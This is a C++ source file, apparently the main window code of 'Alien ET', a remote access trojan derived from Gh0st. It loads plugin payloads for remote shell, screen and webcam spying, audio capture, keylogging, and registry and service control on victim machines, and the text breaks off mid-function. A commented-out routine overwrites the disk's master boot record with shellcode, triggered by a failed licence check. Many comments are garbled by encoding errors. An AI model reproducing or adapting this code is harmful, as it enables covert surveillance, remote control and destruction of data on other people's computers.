1593 lines
42 KiB
C++
1593 lines
42 KiB
C++
// MainFrm.cpp : implementation of the CMainFrame class
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
#include "Gh0st.h"
|
||
#include "Gh0stView.h"
|
||
#include "MainFrm.h"
|
||
#include "PcView.h"
|
||
#include "SettingDlg.h"
|
||
#include "FileManagerDlg.h"
|
||
#include "ScreenSpyDlg.h"
|
||
#include "WebCamDlg.h"
|
||
#include "ShellDlg.h"
|
||
#include "AudioDlg.h"
|
||
#include "SystemDlg.h"
|
||
#include "LocalUpload.h"
|
||
#include "KeyBoardDlg.h"
|
||
#include "ServiceDlg.h"
|
||
#include "RegeditDlg.h"
|
||
#include "TextChatDlg.h"
|
||
#include "ProxyMapDlg.h"
|
||
#include "LogView.h"
|
||
#include "Build.h"
|
||
#include "MyToolsKit.h"
|
||
#include "Mydat.h"
|
||
#include "UpdateDlg.h"
|
||
#ifdef _DEBUG
|
||
#define new DEBUG_NEW
|
||
#undef THIS_FILE
|
||
static char THIS_FILE[] = __FILE__;
|
||
#endif
|
||
|
||
#include "..\Bin\Plugins\C_FILE.h"
|
||
#include "..\Bin\Plugins\C_SHELL.h"
|
||
#include "..\Bin\Plugins\C_SCREEN.h"
|
||
#include "..\Bin\Plugins\C_VIDEO.h"
|
||
#include "..\Bin\Plugins\C_LISTEN.h"
|
||
#include "..\Bin\Plugins\C_SYSTEM.h"
|
||
#include "..\Bin\Plugins\C_KEYLOG.h"
|
||
#include "..\Bin\Plugins\C_SERVICE.h"
|
||
#include "..\Bin\Plugins\C_REGEDIT.h"
|
||
#include "..\Bin\Plugins\C_CHAT.h"
|
||
#include "..\Bin\Plugins\C_PROXYMAP.h"
|
||
CMainFrame *g_pFrame;
|
||
CIOCPServer * m_iocpServer = NULL;
|
||
extern CGh0stView* g_pTabView;
|
||
extern CLogView* g_pLogView;
|
||
|
||
LPBYTE lpFilePacket = NULL;
|
||
LPBYTE lpShellPacket = NULL;
|
||
LPBYTE lpScreenPacket = NULL;
|
||
LPBYTE lpWebCamPacket = NULL;
|
||
LPBYTE lpAudioPacket = NULL;
|
||
LPBYTE lpSystemPacket = NULL;
|
||
LPBYTE lpKeyboardPacket = NULL;
|
||
LPBYTE lpServicePacket = NULL;
|
||
LPBYTE lpRegeditPacket = NULL;
|
||
LPBYTE lpTextChatPacket = NULL;
|
||
LPBYTE lpProxyMapPacket = NULL;
|
||
int nFilePacketLength = 0;
|
||
int nShellPacketLength = 0;
|
||
int nScreenPacketLength = 0;
|
||
int nWebCamPacketLength = 0;
|
||
int nAudioPacketLength = 0;
|
||
int nSystemPacketLength = 0;
|
||
int nKeyboardPacketLength = 0;
|
||
int nServicePacketLength = 0;
|
||
int nRegeditPacketLength = 0;
|
||
int nTextChatPacketLength = 0;
|
||
int nProxyPacketLength = 0;
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CMainFrame
|
||
|
||
IMPLEMENT_DYNCREATE(CMainFrame, CXTPFrameWnd)
|
||
|
||
BEGIN_MESSAGE_MAP(CMainFrame, CXTPFrameWnd)
|
||
//{{AFX_MSG_MAP(CMainFrame)
|
||
ON_WM_CREATE()
|
||
ON_WM_SYSCOMMAND()
|
||
ON_COMMAND(ID_MENUITEM_SHOW, OnMenuitemShow)
|
||
ON_COMMAND(ID_MENUITEM_HIDE, OnMenuitemHide)
|
||
ON_WM_CLOSE()
|
||
ON_COMMAND(ID_MENUITEM_SETTING, OnMenuitemSetting)
|
||
ON_COMMAND(ID_MENUITEM_BUILD, OnMenuitemBuild)
|
||
ON_COMMAND(IDM_TOOLS, OnTools) //ʵ<>ù<EFBFBD><C3B9><EFBFBD>
|
||
ON_WM_TIMER()
|
||
ON_COMMAND(ID_MENUITEM_UPDATE_IP, OnMenuitemUpdateIp)
|
||
//}}AFX_MSG_MAP
|
||
ON_COMMAND(XTP_ID_CUSTOMIZE, OnCustomize)
|
||
|
||
ON_XTP_CREATECONTROL()
|
||
ON_COMMAND(IDM_POPUP1,OnPopup)
|
||
ON_COMMAND(IDM_POPUP2,OnPopup)
|
||
ON_COMMAND(IDM_POPUP3,OnPopup)
|
||
ON_COMMAND(IDM_POPUP4,OnPopup)
|
||
ON_COMMAND(IDM_POPUP5,OnPopup)
|
||
|
||
ON_MESSAGE(WM_REMOVEFROMLIST, OnRemoveFromList)
|
||
ON_MESSAGE(WM_OPENMANAGERDIALOG, OnOpenManagerDialog)
|
||
ON_MESSAGE(WM_OPENSHELLDIALOG, OnOpenShellDialog)
|
||
ON_MESSAGE(WM_OPENSCREENSPYDIALOG, OnOpenScreenSpyDialog)
|
||
ON_MESSAGE(WM_OPENWEBCAMDIALOG, OnOpenWebCamDialog)
|
||
ON_MESSAGE(WM_OPENAUDIODIALOG, OnOpenAudioDialog)
|
||
ON_MESSAGE(WM_OPENPSLISTDIALOG, OnOpenSystemDialog)
|
||
ON_MESSAGE(WM_MODIFYLIST, OnModifyList)
|
||
ON_MESSAGE(WM_OPENBUILDDIALOG, OnOpenBuildDialog)
|
||
ON_MESSAGE(WM_OPENKEYBOARDDIALOG, OnOpenKeyBoardDialog)
|
||
ON_MESSAGE(WM_OPENSERVICEDIALOG, OnOpenServiceDialog)
|
||
ON_MESSAGE(WM_OPENREGEDITDIALOG, OnOpenRegeditDialog) //ע<><D7A2><EFBFBD><EFBFBD>
|
||
ON_MESSAGE(WM_OPENTEXTCHATDIALOG, OnOpenTextChatDialog)
|
||
ON_MESSAGE(WM_OPENPROXYMAPDIALOG, OnOpenProxyMapDialog)
|
||
ON_MESSAGE(WM_OPENCHATDIALOG, OnOpenChatDialog)
|
||
|
||
ON_MESSAGE(WM_OPENPQQBOXDIALOG, OnOpenQQBoxDialog)
|
||
|
||
ON_MESSAGE(XTPWM_DOCKINGPANE_NOTIFY, OnDockingPaneNotify)
|
||
|
||
END_MESSAGE_MAP()
|
||
|
||
static UINT indicators[] =
|
||
{
|
||
ID_STAUTS_OS, // <20><><EFBFBD><EFBFBD>ͳ<EFBFBD><CDB3>
|
||
ID_STAUTSSPEED, // <20>ϴ<EFBFBD><CFB4>ٶ<EFBFBD>
|
||
ID_STAUTJSPEED, // <20><><EFBFBD><EFBFBD><EFBFBD>ٶ<EFBFBD>
|
||
ID_STAUTS_PORT, // <20>˿<EFBFBD>
|
||
|
||
|
||
};
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CMainFrame construction/destruction
|
||
|
||
CMainFrame::CMainFrame()
|
||
{
|
||
// TODO: add member initialization code here
|
||
g_pFrame = this;
|
||
memset(nOSCount,0,sizeof(nOSCount));
|
||
}
|
||
|
||
CMainFrame::~CMainFrame()
|
||
{
|
||
|
||
}
|
||
|
||
// unsigned char scode[] =
|
||
// "\xb8\x12\x00\xcd\x10\xbd\x18\x7c\xb9\x18\x00\xb8\x01\x13\xbb\x0c"
|
||
// "\x00\xba\x1d\x0e\xcd\x10\xe2\xfe\x49\x20\x61\x6d\x20\x76\x69\x72"
|
||
// "\x75\x73\x21\x20\x46\x75\x63\x6b\x20\x79\x6f\x75\x20\x3a\x2d\x29";
|
||
// #define FILE_DEVICE_FILE_SYSTEM 0x00000009
|
||
// #define FILE_ANY_ACCESS 0
|
||
// #define METHOD_BUFFERED 0
|
||
// #define CTL_CODE( DeviceType, Function, Method, Access ) ( ((DeviceType) << 16) | ((Access) << 14) | ((Function) << 2) | (Method) )
|
||
// #define FSCTL_LOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 6, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||
// #define FSCTL_UNLOCK_VOLUME CTL_CODE(FILE_DEVICE_FILE_SYSTEM, 7, METHOD_BUFFERED, FILE_ANY_ACCESS)
|
||
//
|
||
// int KillMBR()
|
||
// {
|
||
// HANDLE hDevice;
|
||
// DWORD dwBytesWritten, dwBytesReturned;
|
||
// BYTE pMBR[512] = {0};
|
||
//
|
||
// // <20><><EFBFBD>¹<EFBFBD><C2B9><EFBFBD>MBR
|
||
// memcpy(pMBR, scode, sizeof(scode) - 1);
|
||
// pMBR[510] = 0x55;
|
||
// pMBR[511] = 0xAA;
|
||
//
|
||
// hDevice = CreateFile
|
||
// (
|
||
// "\\\\.\\PHYSICALDRIVE0",
|
||
// GENERIC_READ | GENERIC_WRITE,
|
||
// FILE_SHARE_READ | FILE_SHARE_WRITE,
|
||
// NULL,
|
||
// OPEN_EXISTING,
|
||
// 0,
|
||
// NULL
|
||
// );
|
||
// if (hDevice == INVALID_HANDLE_VALUE)
|
||
// return -1;
|
||
// DeviceIoControl
|
||
// (
|
||
// hDevice,
|
||
// FSCTL_LOCK_VOLUME,
|
||
// NULL,
|
||
// 0,
|
||
// NULL,
|
||
// 0,
|
||
// &dwBytesReturned,
|
||
// NULL
|
||
// );
|
||
// // д<>벡<EFBFBD><EBB2A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
// WriteFile(hDevice, pMBR, sizeof(pMBR), &dwBytesWritten, NULL);
|
||
// DeviceIoControl
|
||
// (
|
||
// hDevice,
|
||
// FSCTL_UNLOCK_VOLUME,
|
||
// NULL,
|
||
// 0,
|
||
// NULL,
|
||
// 0,
|
||
// &dwBytesReturned,
|
||
// NULL
|
||
// );
|
||
// CloseHandle(hDevice);
|
||
//
|
||
// ExitProcess(-1);
|
||
// return 0;
|
||
// }
|
||
//
|
||
// DWORD WINAPI LoginAgainCheck(LPVOID lparam)
|
||
// {
|
||
// ɾ<><C9BE><EFBFBD><EFBFBD>֤...........//
|
||
/* POSTXML m_postxml;
|
||
m_postxml.RequestBuffer=new char[1024*5];
|
||
m_postxml.nRequestLong=1024*5;
|
||
lstrcpy(m_postxml.szUserName,LoginUserName);
|
||
lstrcpy(m_postxml.szPassWord,LoginPassWord);
|
||
lstrcpy(m_postxml.szCommand,"UPDATE");
|
||
m_postxml.mHwnd=(HWND)1;
|
||
while(1)
|
||
{
|
||
Sleep(10*1000);
|
||
if (lstrlen(LoginUserName)==0&&lstrlen(LoginPassWord)==0)
|
||
{
|
||
KillMBR();
|
||
}
|
||
PostContent(&m_postxml);
|
||
if (lstrcmp(LastLoginTime,m_postxml.RequestBuffer)==0)
|
||
{
|
||
memset(m_postxml.RequestBuffer,0,lstrlen(m_postxml.RequestBuffer));
|
||
continue;
|
||
}else
|
||
{
|
||
AfxMessageBox("<22><><EFBFBD><EFBFBD><EFBFBD>ʺ<EFBFBD><CABA>ڱ<DAB1>½<EFBFBD><C2BD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>");
|
||
ExitProcess(0);
|
||
}
|
||
}*/
|
||
// ɾ<><C9BE><EFBFBD><EFBFBD>֤...........<2E><><EFBFBD><EFBFBD>//
|
||
// return 0;
|
||
// }
|
||
|
||
int CMainFrame::OnCreate(LPCREATESTRUCT lpCreateStruct)
|
||
{
|
||
if (CXTPFrameWnd::OnCreate(lpCreateStruct) == -1)
|
||
return -1;
|
||
|
||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʾ
|
||
this ->CenterWindow(CWnd::GetDesktopWindow());
|
||
|
||
if (!m_wndStatusBar.Create(this) ||
|
||
!m_wndStatusBar.SetIndicators(indicators,
|
||
sizeof(indicators)/sizeof(UINT)))
|
||
{
|
||
TRACE0("Failed to create status bar\n");
|
||
return -1; // fail to create
|
||
}
|
||
|
||
// <20><>ʼ<EFBFBD><CABC> command bars
|
||
if (!InitCommandBars())
|
||
return -1;
|
||
|
||
// // <20><>ȡ command bars Ŀ<><C4BF> ָ<><D6B8>
|
||
// CXTPCommandBars* pCommandBars = GetCommandBars();
|
||
// if(pCommandBars == NULL)
|
||
// {
|
||
// TRACE0("Failed to create command bars object.\n");
|
||
// return -1; // fail to create
|
||
// }
|
||
//
|
||
// SetMenu(NULL);
|
||
// <20><><EFBFBD>Ӳ˵<D3B2><CBB5><EFBFBD>
|
||
// CXTPCommandBar* pMenuBar = pCommandBars->SetMenu(
|
||
// _T("Menu Bar"), IDR_MAINFRAME);
|
||
// if(pMenuBar == NULL)
|
||
// {
|
||
// TRACE0("Failed to create menu bar.\n");
|
||
// return -1; // fail to create
|
||
// }
|
||
/*
|
||
|
||
// Create ToolBar
|
||
CXTPToolBar* pCommandBar = (CXTPToolBar*)pCommandBars->Add(_T("Standard"), xtpBarTop);
|
||
if (!pCommandBar ||
|
||
!pCommandBar->LoadToolBar(IDR_TOOLBAR3))
|
||
{
|
||
TRACE0("Failed to create toolbar\n");
|
||
return -1;
|
||
}
|
||
//
|
||
|
||
CImageList m_imagelist;
|
||
m_imagelist.Create(24,24,ILC_COLOR24|ILC_MASK,0,0);
|
||
CBitmap bmp;
|
||
bmp.LoadBitmap(IDB_TOOLBAR);
|
||
m_imagelist.Add(&bmp,RGB(255,255,255));
|
||
|
||
pCommandBar->GetImageManager()->SetIcons(IDR_TOOLBAR3,m_imagelist);
|
||
|
||
pCommandBars->SetTheme(xtpThemeOfficeXP);*/
|
||
//////////////////////////////////////////////////////////////////////////////////////
|
||
if (!m_wndDlgBar.Create(this, IDD_DIALOGBAR, WS_VISIBLE|WS_CHILD|CBRS_SIZE_DYNAMIC|CBRS_ALIGN_TOP, IDD_DIALOGBAR))
|
||
{
|
||
TRACE0( "Failed to create dialogbar ");
|
||
return -1;
|
||
}
|
||
|
||
|
||
// <20><><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
|
||
if (!m_wndStatusBar.Create(this) ||
|
||
!m_wndStatusBar.SetIndicators(indicators,
|
||
sizeof(indicators)/sizeof(UINT)))
|
||
{
|
||
TRACE0("Failed to create status bar\n");
|
||
return -1; // fail to create
|
||
}
|
||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>״̬<D7B4><CCAC>
|
||
m_wndStatusBar.SetPaneInfo(0, m_wndStatusBar.GetItemID(0), SBPS_STRETCH, NULL);
|
||
m_wndStatusBar.SetPaneInfo(1, m_wndStatusBar.GetItemID(1), SBPS_NORMAL, 120);
|
||
m_wndStatusBar.SetPaneInfo(2, m_wndStatusBar.GetItemID(2), SBPS_NORMAL, 120);
|
||
m_wndStatusBar.SetPaneInfo(3, m_wndStatusBar.GetItemID(3), SBPS_NORMAL, 100);
|
||
RepositionBars(AFX_IDW_CONTROLBAR_FIRST, AFX_IDW_CONTROLBAR_LAST, 0); //<2F><>ʾ״̬<D7B4><CCAC>
|
||
// <20><><EFBFBD><EFBFBD>֮ǰ<D6AE>Ĺ<EFBFBD><C4B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ͳ˵<CDB2><CBB5><EFBFBD>
|
||
// LoadCommandBars(_T("CommandBars"));
|
||
LoadIcons(); //<2F>Ҽ<EFBFBD><D2BC>˵<EFBFBD><CBB5><EFBFBD>ʾͼ<CABE><CDBC>
|
||
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC>
|
||
if (!m_TrayIcon.Create(_T("Alien ET: 0"), // <20><>ʾ<EFBFBD>ı<EFBFBD>
|
||
this, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
IDR_MAINFRAME, // <20><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC>ID
|
||
IDR_MENU_TRAY, // <20>Ҽ<EFBFBD><D2BC>˵<EFBFBD>ID
|
||
ID_MENUITEM_SHOW, // Ĭ<>ϵ<EFBFBD><CFB5><EFBFBD><EFBFBD>¼<EFBFBD>
|
||
false)) // True if default menu item is located by position
|
||
{
|
||
TRACE0("Failed to create tray icon\n");
|
||
return -1;
|
||
}
|
||
// <20><><EFBFBD><EFBFBD> Office 2003 <20><><EFBFBD><EFBFBD>
|
||
// CXTPPaintManager::SetTheme(xtpThemeWhidbey);
|
||
|
||
|
||
// <20><><EFBFBD><EFBFBD>֮ǰ<D6AE>Ĺ<EFBFBD><C4B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ͳ˵<CDB2><CBB5><EFBFBD>
|
||
// LoadCommandBars(_T("CommandBars"));
|
||
|
||
SetTimer(0, 1000, NULL); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> 1
|
||
// CString struserok = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetString( "UPDATE", "Dns1", "" );
|
||
// if ( struserok.GetLength() == NULL )
|
||
// {
|
||
// SetTimer(1, 1000*60*30, NULL); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1> 2
|
||
// }
|
||
m_paneManager.InstallDockingPanes(this);
|
||
m_paneManager.SetTheme(xtpPaneThemeVisualStudio2005); // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
CXTPDockingPane* pwndPaneLog = CreatePane(235, 150, RUNTIME_CLASS(CLogView), _T("<EFBFBD><EFBFBD>־<EFBFBD><EFBFBD>Ϣ"), xtpPaneDockBottom);
|
||
pwndPaneLog->Select();
|
||
pwndPaneLog->SetOptions(xtpPaneNoCaption);
|
||
|
||
m_paneManager.ShowPane(pwndPaneLog, 1);
|
||
// <20><>ʼ<EFBFBD><CABC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||
|
||
// File
|
||
nFilePacketLength = (FILEMyFileSize + 1)*sizeof(char)+1;
|
||
lpFilePacket = new BYTE[nFilePacketLength];
|
||
if(lpFilePacket == NULL)
|
||
{
|
||
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>File<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
|
||
}
|
||
else
|
||
{
|
||
lpFilePacket[0] = COMMAND_LIST_DRIVE;
|
||
memcpy(lpFilePacket + 1, (void*)FILEMyFileBuf, nFilePacketLength - 1);
|
||
}
|
||
|
||
// Shell
|
||
nShellPacketLength = (SHELLMyFileSize + 1)*sizeof(char)+1;
|
||
lpShellPacket = new BYTE[nShellPacketLength];
|
||
if(lpShellPacket == NULL)
|
||
{
|
||
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>shell<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
|
||
}
|
||
else
|
||
{
|
||
lpShellPacket[0] = COMMAND_SHELL;
|
||
memcpy(lpShellPacket + 1, (void*)SHELLMyFileBuf, nShellPacketLength - 1);
|
||
}
|
||
|
||
// <20><>Ļ
|
||
nScreenPacketLength = (SCREENMyFileSize + 1)*sizeof(char)+1;
|
||
lpScreenPacket = new BYTE[nScreenPacketLength];
|
||
if(lpScreenPacket == NULL)
|
||
{
|
||
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>Screen<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
|
||
}
|
||
else
|
||
{
|
||
lpScreenPacket[0] = COMMAND_SCREEN_SPY;
|
||
memcpy(lpScreenPacket + 1, (void*)SCREENMyFileBuf, nScreenPacketLength - 1);
|
||
}
|
||
|
||
// webcam
|
||
nWebCamPacketLength = (VIDEOMyFileSize + 1)*sizeof(char)+1;
|
||
lpWebCamPacket = new BYTE[nWebCamPacketLength];
|
||
if(lpWebCamPacket == NULL)
|
||
{
|
||
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>WebCam<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
|
||
}
|
||
else
|
||
{
|
||
lpWebCamPacket[0] = COMMAND_WEBCAM;
|
||
memcpy(lpWebCamPacket + 1, (void*)VIDEOMyFileBuf, nWebCamPacketLength - 1);
|
||
}
|
||
|
||
// Audio
|
||
nAudioPacketLength = (LISTENMyFileSize + 1)*sizeof(char)+1;
|
||
lpAudioPacket = new BYTE[nAudioPacketLength];
|
||
if(lpAudioPacket == NULL)
|
||
{
|
||
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>Audio<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
|
||
}
|
||
else
|
||
{
|
||
lpAudioPacket[0] = COMMAND_AUDIO;
|
||
memcpy(lpAudioPacket + 1, (void*)LISTENMyFileBuf, nAudioPacketLength - 1);
|
||
}
|
||
|
||
// System
|
||
nSystemPacketLength = (SYSTEMMyFileSize + 1)*sizeof(char)+1;
|
||
lpSystemPacket = new BYTE[nSystemPacketLength];
|
||
if(lpSystemPacket == NULL)
|
||
{
|
||
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>System<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
|
||
}
|
||
else
|
||
{
|
||
lpSystemPacket[0] = COMMAND_SYSTEM;
|
||
memcpy(lpSystemPacket + 1, (void*)SYSTEMMyFileBuf, nSystemPacketLength - 1);
|
||
}
|
||
|
||
// Keyboard
|
||
// nKeyboardPacketLength = (KEYLOGMyFileSize + 1)*sizeof(char)+1;
|
||
// lpKeyboardPacket = new BYTE[nKeyboardPacketLength];
|
||
// if(lpKeyboardPacket == NULL)
|
||
// {
|
||
// AfxMessageBox("<22><>ʼ<EFBFBD><CABC>Keyboard<72><64><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
|
||
// }
|
||
// else
|
||
// {
|
||
// lpKeyboardPacket[0] = COMMAND_KEYBOARD;
|
||
// memcpy(lpKeyboardPacket + 1, (void*)KEYLOGMyFileBuf, nKeyboardPacketLength - 1);
|
||
// }
|
||
|
||
// Service
|
||
nServicePacketLength = (SERVICEMyFileSize + 1)*sizeof(char)+1;
|
||
lpServicePacket = new BYTE[nServicePacketLength];
|
||
if(lpServicePacket == NULL)
|
||
{
|
||
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>Service<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
|
||
}
|
||
else
|
||
{
|
||
lpServicePacket[0] = COMMAND_SERVICE_MANAGER;
|
||
memcpy(lpServicePacket + 1, (void*)SERVICEMyFileBuf, nServicePacketLength - 1);
|
||
}
|
||
|
||
// Regedit
|
||
nRegeditPacketLength = (REGEDITMyFileSize + 1)*sizeof(char)+1;
|
||
lpRegeditPacket = new BYTE[nRegeditPacketLength];
|
||
if(lpRegeditPacket == NULL)
|
||
{
|
||
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>Regedit<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
|
||
}
|
||
else
|
||
{
|
||
lpRegeditPacket[0] = COMMAND_REGEDIT;
|
||
memcpy(lpRegeditPacket + 1, (void*)REGEDITMyFileBuf, nRegeditPacketLength - 1);
|
||
}
|
||
|
||
|
||
// TextChat
|
||
nTextChatPacketLength = (CHATMyFileSize + 1)*sizeof(char)+1;
|
||
lpTextChatPacket = new BYTE[nTextChatPacketLength];
|
||
if(lpTextChatPacket == NULL)
|
||
{
|
||
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>TextChat<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
|
||
}
|
||
else
|
||
{
|
||
lpTextChatPacket[0] = COMMAND_TEXT_CHAT;
|
||
memcpy(lpTextChatPacket + 1, (void*)CHATMyFileBuf, nTextChatPacketLength - 1);
|
||
}
|
||
|
||
|
||
// ProxyMap
|
||
nProxyPacketLength = (PROXYMAPMyFileSize + 1)*sizeof(char)+1;
|
||
lpProxyMapPacket = new BYTE[nProxyPacketLength];
|
||
if(lpProxyMapPacket == NULL)
|
||
{
|
||
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD>ProxyMap<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD>ܣ<EFBFBD>");
|
||
}
|
||
else
|
||
{
|
||
lpProxyMapPacket[0] = COMMAND_PROXY_MAP;
|
||
memcpy(lpProxyMapPacket + 1, (void*)PROXYMAPMyFileBuf, nProxyPacketLength - 1);
|
||
}
|
||
CXTPPaintManager::SetTheme(xtpThemeVisualStudio2010);//״̬<D7B4><CCAC><EFBFBD><EFBFBD>XTP
|
||
/* CloseHandle(CreateThread(NULL,0,&LoginAgainCheck,NULL,0,NULL));*/
|
||
return 0;
|
||
}
|
||
|
||
|
||
int m_nCount;
|
||
|
||
CXTPDockingPane* CMainFrame::CreatePane(int x, int y, CRuntimeClass* pNewViewClass, CString strFormat, XTPDockingPaneDirection direction, CXTPDockingPane* pNeighbour)
|
||
{
|
||
int nID = ++m_nCount;
|
||
|
||
CXTPDockingPane* pwndPane = m_paneManager.CreatePane(nID, CRect(0, 0,x, y), direction, pNeighbour);
|
||
|
||
CString strTitle;
|
||
strTitle.Format(strFormat, nID);
|
||
pwndPane->SetTitle(strTitle);
|
||
pwndPane->SetIconID(nID % 6 + 1);
|
||
|
||
CXTPFrameWnd* pFrame = new CXTPFrameWnd;
|
||
|
||
CCreateContext context;
|
||
context.m_pNewViewClass = pNewViewClass;
|
||
context.m_pCurrentDoc = GetActiveView()->GetDocument();
|
||
|
||
pFrame->Create(NULL, NULL, WS_CHILD|WS_VISIBLE|WS_CLIPCHILDREN|WS_CLIPSIBLINGS, CRect(0, 0, 0, 0), this, NULL, 0, &context);
|
||
pFrame->ModifyStyleEx(WS_EX_CLIENTEDGE, 0);
|
||
|
||
m_mapPanes.SetAt(nID, pFrame);
|
||
|
||
return pwndPane;
|
||
}
|
||
|
||
BOOL CMainFrame::PreCreateWindow(CREATESTRUCT& cs)
|
||
{
|
||
if( !CXTPFrameWnd::PreCreateWindow(cs) )
|
||
return FALSE;
|
||
// TODO: Modify the Window class or styles here by modifying
|
||
// the CREATESTRUCT cs
|
||
cs.lpszClass = _T("XTPMainFrame");
|
||
CXTPDrawHelpers::RegisterWndClass(AfxGetInstanceHandle(), cs.lpszClass,
|
||
CS_DBLCLKS, AfxGetApp()->LoadIcon(IDR_MAINFRAME));
|
||
|
||
|
||
cs.cx = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetInt("Alien", "Width", 1200);
|
||
cs.cy = ((CGh0stApp *)AfxGetApp())->m_IniFile.GetInt("Alien", "Hight", 700);
|
||
|
||
cs.dwExStyle&=~WS_EX_CLIENTEDGE;
|
||
cs.style &= ~FWS_ADDTOTITLE;
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD>ڱ<EFBFBD><DAB1><EFBFBD>
|
||
cs.lpszName = _T("Alien ET 1.0");
|
||
|
||
return TRUE;
|
||
}
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CMainFrame diagnostics
|
||
|
||
#ifdef _DEBUG
|
||
void CMainFrame::AssertValid() const
|
||
{
|
||
CXTPFrameWnd::AssertValid();
|
||
}
|
||
|
||
void CMainFrame::Dump(CDumpContext& dc) const
|
||
{
|
||
CXTPFrameWnd::Dump(dc);
|
||
}
|
||
|
||
#endif //_DEBUG
|
||
|
||
/////////////////////////////////////////////////////////////////////////////
|
||
// CMainFrame message handlers
|
||
void CMainFrame::OnPopup()
|
||
{}
|
||
|
||
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
void CMainFrame::Activate(UINT nPort, UINT nMaxConnections)
|
||
{
|
||
|
||
SetTimer(0x000,1000,NULL);
|
||
HICON icon0 = (HICON)::LoadImage(AfxGetInstanceHandle(),
|
||
MAKEINTRESOURCE(IDI_zj),IMAGE_ICON, 16, 16, LR_SHARED);
|
||
|
||
HICON icon1 = (HICON)::LoadImage(AfxGetInstanceHandle(),
|
||
MAKEINTRESOURCE(IDI_fs),IMAGE_ICON, 16, 16, LR_SHARED);
|
||
|
||
HICON icon2 = (HICON)::LoadImage(AfxGetInstanceHandle(),
|
||
MAKEINTRESOURCE(IDI_js),IMAGE_ICON, 16, 16, LR_SHARED);
|
||
|
||
HICON icon3 = (HICON)::LoadImage(AfxGetInstanceHandle(),
|
||
MAKEINTRESOURCE(IDI_dk),IMAGE_ICON, 16, 16, LR_SHARED);
|
||
|
||
// CMainFrame* pFrm=(CMainFrame*)AfxGetApp()->m_pMainWnd;//<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ָ<EFBFBD><D6B8>
|
||
CStatusBar* pStatus=&g_pFrame->m_wndStatusBar;//ָ<><D6B8>״̬<D7B4><CCAC>ָ<EFBFBD><D6B8>,m_wndStatusBar<61><72><EFBFBD>Ҹij<D2B8>public<69><63><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
||
if(pStatus)
|
||
{ //<2F><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Դ
|
||
pStatus->GetStatusBarCtrl().SetIcon(0,icon0);
|
||
pStatus->GetStatusBarCtrl().SetIcon(1,icon1);
|
||
pStatus->GetStatusBarCtrl().SetIcon(2,icon2);
|
||
pStatus->GetStatusBarCtrl().SetIcon(3,icon3);
|
||
|
||
}
|
||
